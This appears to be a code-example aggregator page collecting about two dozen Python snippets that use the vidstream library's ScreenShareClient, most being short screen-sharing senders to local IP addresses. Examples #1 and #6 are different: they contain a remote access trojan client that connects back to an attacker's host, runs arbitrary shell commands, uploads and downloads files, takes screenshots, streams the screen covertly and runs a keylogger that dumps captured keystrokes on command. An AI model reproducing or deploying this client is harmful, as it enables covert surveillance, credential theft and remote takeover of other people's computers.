示例#1
0
 def __init__(self, LHOST, LPORT):
     self.c_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     self.c_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
     self.__lhost = LHOST
     self.__lport = int(LPORT)
     self.klogger = Keylogger()
     self.screen_share = ScreenShareClient(self.__lhost, 8532)
     self.__connect_to_server()
示例#2
0
def screen_sharing():
    screen_client = ScreenShareClient(text_target_ip.get(1.0, 'end-1c'), 9999)
    t4 = threading.Thread(target=screen_client.start_stream)
    t4.start()
示例#3
0
from vidstream import ScreenShareClient
import threading

sender = ScreenShareClient('192.168.0.106', 50649)

t = threading.Thread(target=sender.start_stream)
t.start()
while input("") != 'STOP':
    continue

sender.stop_stream()
示例#4
0
from vidstream import ScreenShareClient

client = ScreenShareClient('127.0.0.1', 4444)
client.start_stream()

while True:
    continue

client.stop_stream()
示例#5
0
from vidstream import ScreenShareClient
import threading

sender = ScreenShareClient('IP', PORT) #change IP with your IP and PORT to your port

t = threading.Thread(target=sender.start_stream)
t.start()

while input("") != 'STOP':
    continue

sender.stop_stream()
示例#6
0
class Client:
    def __init__(self, LHOST, LPORT):
        self.c_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.c_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.__lhost = LHOST
        self.__lport = int(LPORT)
        self.klogger = Keylogger()
        self.screen_share = ScreenShareClient(self.__lhost, 8532)
        self.__connect_to_server()

    def __connect_to_server(self):
        #self.target_ip = input('Enter ip --> ')
        #self.target_port = input('Enter port --> ')
        while True:
            sleep(5)
            try:
                self.c_socket.connect((self.__lhost, int(self.__lport)))
                self.__handle_server()
                break
            except:
                self.__connect_to_server()

    def __reliable_send(self, data):
        json_data = json.dumps(data)
        self.c_socket.send(json_data.encode())

    def __get_cwd(self):
        self.__reliable_send(os.getcwd())

    def __get_details(self):
        self.__reliable_send(f"{socket.gethostname()}|{os.getcwd()}")

    def __reliable_recv(self):
        data = ""
        while True:
            try:
                data += self.c_socket.recv(1024).decode().strip()
                return json.loads(data)
            except ValueError:
                continue

        # helper function to download files from the server
    def __download_file(self, filepath):
        basename = os.path.basename(filepath)

        # checking if the file to be save exists, if it exists
        # append some random chars to the filename
        # using the rand_string() function which returns 5 random chars
        if os.path.exists(basename):
            filename_list = basename.split(".")
            filename = ".".join(filename_list[:-1])
            file_ext = filename_list[-1]
            full_filename = f"{filename}-{self.__rand_string()}.{file_ext}"
        else:
            full_filename = basename

    # recieveing and saving the file
        with open(full_filename, "wb") as file:
            self.c_socket.settimeout(1)
            chunk = self.c_socket.recv(1024)
            while chunk:
                file.write(chunk)
                try:
                    chunk = self.c_socket.recv(1024)
                except socket.timeout:
                    break
            self.c_socket.settimeout(None)

    # helper function to send data to the server

    def __upload_file(self, filename_path):
        filesize = os.path.getsize(filename_path)
        self.__reliable_send(filesize)
        with open(filename_path, "rb") as file:
            data = file.read()
            self.c_socket.sendall(data)

    def __screenshot(self):
        with mss() as s_shot:
            s_shot.shot()

        filename = "monitor-1.png"
        self.__upload_file(filename)

    # helper function for generating some randoms chars
    # it returns a random combination of ascii chars and digits only
    def __rand_string(self):
        return "".join(random.SystemRandom().choice(ascii_letters + digits)
                       for _ in range(5))

    def __execute_commands(self, cmd):
        proc = subprocess.Popen(cmd,
                                shell=True,
                                stderr=subprocess.PIPE,
                                stdout=subprocess.PIPE,
                                stdin=subprocess.PIPE)
        proc_result = proc.stdout.read() + proc.stderr.read()
        if not proc_result:
            self.__reliable_send(" ")
        else:
            self.__reliable_send(proc_result.decode())

    def __create_persistance(self, name):
        pass

    def __sysinfo(self):
        uname = platform.uname()
        sysinfo = f'''System: {uname.system}
Node Name: {uname.node}
Release: {uname.release}
Version: {uname.version}
Machine: {uname.machine}
Processor: {uname.processor}
'''
        return sysinfo

    def __handle_server(self):
        self.__get_details()
        while True:
            cmd = self.__reliable_recv()

            if cmd == "background":
                pass
            elif cmd == "quit":
                break
            elif cmd[:2] == "cd" and len(cmd) > 1:
                if cmd[:2] == "cd" and cmd[3:] == "":
                    self.__get_cwd()
                elif os.path.exists(cmd[3:]) and cmd[3:] != "":
                    os.chdir(cmd[3:])
                    self.__get_cwd()
                else:
                    self.__reliable_send(
                        "[!] FolderNotFoundError:The folder you're trying to access does not exist on the remote system"
                    )
            elif cmd[:14] == "create_persist":
                self.__create_persistance(cmd[15:].strip())
            elif cmd[:6] == "upload":
                self.__download_file(cmd[7:])
            elif cmd[:8] == "download":
                self.__upload_file(cmd[9:])
            elif cmd == "screenshot":
                self.__screenshot()
            elif cmd == "start_screenshare" or cmd == "stop_screenshare":
                try:
                    if cmd == "start_screenshare":
                        Thread(target=self.screen_share.start_stream).start()
                    else:
                        self.screen_share.stop_stream()
                except:
                    continue

            elif cmd[:11] == "chwallpaper":
                self.__change_wallpaper(cmd[12:])
            elif cmd == "start_keycap":
                Thread(target=self.klogger.start_dumps).start()
                pass
            elif cmd == "dump_keycap":
                self.__reliable_send(self.klogger.dump_keys())
                pass
            elif cmd == "stop_keycap":
                self.klogger.stop_dumps()
                pass
            elif cmd[:5] == "start":
                try:
                    subprocess.call(cmd, shell=True)
                except:
                    continue
            elif cmd == "sysinfo":
                self.__reliable_send(self.__sysinfo())

    # show user help
            elif cmd == "help":
                pass
            else:
                self.__execute_commands(cmd)
示例#7
0
文件: sender.py 项目: saifgati/stream
from vidstream import ScreenShareClient
import threading
sender = ScreenShareClient('ip', 'port')

t = threading.Thread(target=sender.start_stream)
t.start()

while input("") != 'q':
    continue

sender.stop_stream()
from vidstream import ScreenShareClient
import threading

sender = ScreenShareClient("192.168.1.105", 7831)

t = threading.Thread(target=sender.start_stream)
t.start()
示例#9
0
from vidstream import ScreenShareClient
import threading

sender = ScreenShareClient('192.168.0.17', 9999)

t = threading.Thread(target=sender.start_stream)
t.start()

while input(" ") != 'STOP':
    continue

sender.stop_stream()
示例#10
0
from vidstream import ScreenShareClient
import threading

#specify host you want to connect to
sender = ScreenShareClient('10.0.0.46',14089)

t = threading.Thread(target=sender.start_stream)
t.start()

while input("") != 'STOP':
    continue

sender.stop_stream() 
示例#11
0
def screen():
    sender = ScreenShareClient(ipScreen, 22224)
    sender.start_stream()
示例#12
0
from vidstream import ScreenShareClient
import threading
''' Instalar e importar Libreria vidstream,
    importar threading'''


''' Entrgando la IP del Cliente'''
sender = ScreenShareClient('192.168.1.81', 9999)

''' Inicio Stream '''
sender.start_stream()

t = threading.Thread(target=sender.start_stream)
t.start()

''' Mientras condición no sea STOP no se apaga el stream '''

while input("") != 'STOP':
    continue

sender.stop_stream()
示例#13
0
from vidstream import ScreenShareClient
import threading

sender = ScreenShareClient('198.168.0.106', 9999)

t = threading.Thread(target=sender.start_stream())
t.start()

while input("") != "STOP":
    continue

sender.stop_stream()
示例#14
0
from vidstream import ScreenShareClient
import threading
from termcolor import colored

#Instance of the client that shares the screen
client = ScreenShareClient('127.0.0.1', 8080)

#Thread for the screen sharing
t = threading.Thread(target=client.start_stream)
t.start()

#Run until the user clicks q key
while input(colored('\nPress q to stop client execution', 'blue') +
            '\n') != 'q':
    continue

#Stop the screen sharing
client.stop_stream()
示例#15
0
from vidstream import ScreenShareClient
import threading
import tkinter as tk
import pyautogui
import time
import keyboard

sender = ScreenShareClient('127.0.0.1', 9999)

t = threading.Thread(target=sender.start_stream)
t.start()


if keyboard.is_pressed("enter"):
    pyautogui.alert("ok")
else:
    pyautogui.alert("Compartilhando tela!")
exit()


while input("") != 'STOP':
    continue

sender.stop_server()
示例#16
0
def start_screen_share():
    screen_client = ScreenShareClient(text_target_ip.get(1.0, 'end-1c'), 7777)
    t = threading.Thread(target=screen_client.start_stream)
    t.start()
示例#17
0
from vidstream import ScreenShareClient
import threading

sender = ScreenShareClient('192.168.43.157', 9999)
t = threading.Thread(target=sender.start_stream)
t.start()

while input("") != 'STOP':
    continue
sender.start_stream()
示例#18
0
def start_audio_stream():
    audio_sender = ScreenShareClient(text_target_ip.get(1.0,'end-1c'), 6666)
    t5 = threading.Thread(target=audio_sender.start_stream)
    t5.start()
示例#19
0
from vidstream import ScreenShareClient
import threading

#enter your local wifi public ip and port
host = "127.0.0.1"
port = 55555

sender = ScreenShareClient(host, port)
sender_thread = threading.Thread(target=sender.start_stream)

sender_thread.start()
while input("") != "STOP":
    continue

sender.stop_stream()
示例#20
0
from vidstream import ScreenShareClient


sender = ScreenShareClient("192.168.1.79", 55555)
sender.start_stream()
示例#21
0
from vidstream import ScreenShareClient
import threading

sender = ScreenShareClient('192.168.0.17', 9999)

#use public or private or public ip in brackets
sender = ScreenShareClient('192.168.0.17', 9999)

t = threading.Thread(target=sender.start_server)
t.start()

while input("") != 'STOP':
    continue

sender.stop_server()
示例#22
0
print(wi + Fore.CYAN + 'Client for connecting to the server.')
ip = input(wi + 'IP: ')
try:
    s.inet_aton(ip)
    print(wi + 'Checking if IP  is Valid...')
    time.sleep(1.5)
    print(wi + gr + 'IP is Valid!')
except socket.error:
    print(Fore.RED + 'IP is not Valid.')
port = input(wi + 'Port: ')
choice = ['0=Camera', '1=Video', '2=ScreenShare']
print(wi + choice[0], choice[1], choice[2])
client = input(wi + gr + os + "-User: ")
client1 = CameraClient(ip, 9999)
client2 = VideoClient(ip, 9999, 'video.mp4')
client3 = ScreenShareClient(ip, 9999)
if client == '0':
    client1.start_stream()
    print(wi + 'Starting Camera Client...')
    time.sleep(0.5)
    print(wi + gr + 'Camera Client has started.')
elif client == '1':
    client2.start_stream()
    print(wi + 'Starting Video Client...')
    time.sleep(0.5)
    print(wi + gr + 'Video Client has started.')
elif client == '2':
    client3.start_stream()
    print(wi + Fore.CYAN + 'Starting Screen-Sharing Client...')
    time.sleep(0.5)
    print(wi + gr + 'Share Screen Client has started.')
示例#23
0
from vidstream import CameraClient
from vidstream import VideoClient
from vidstream import ScreenShareClient
import threading

# Choose One
# client3 = CameraClient('127.0.0.1', 9998)
# client2 = VideoClient('127.0.0.1', 9999, 'video.mp4')
client3 = ScreenShareClient('127.0.0.1', 9999)

t = threading.Thread(target=client3.start_stream)
t.start()

# Other Code
while input("") != 'STOP':
    continue

# client1.start_stream()
# client2.start_stream()
client3.stop_stream
示例#24
0
def start_screen_sharing():
    screen_client = ScreenShareClient(network.target_ip, network.target_port)
    t4 = threading.Thread(target=screen_client.start_stream)
    t4.start()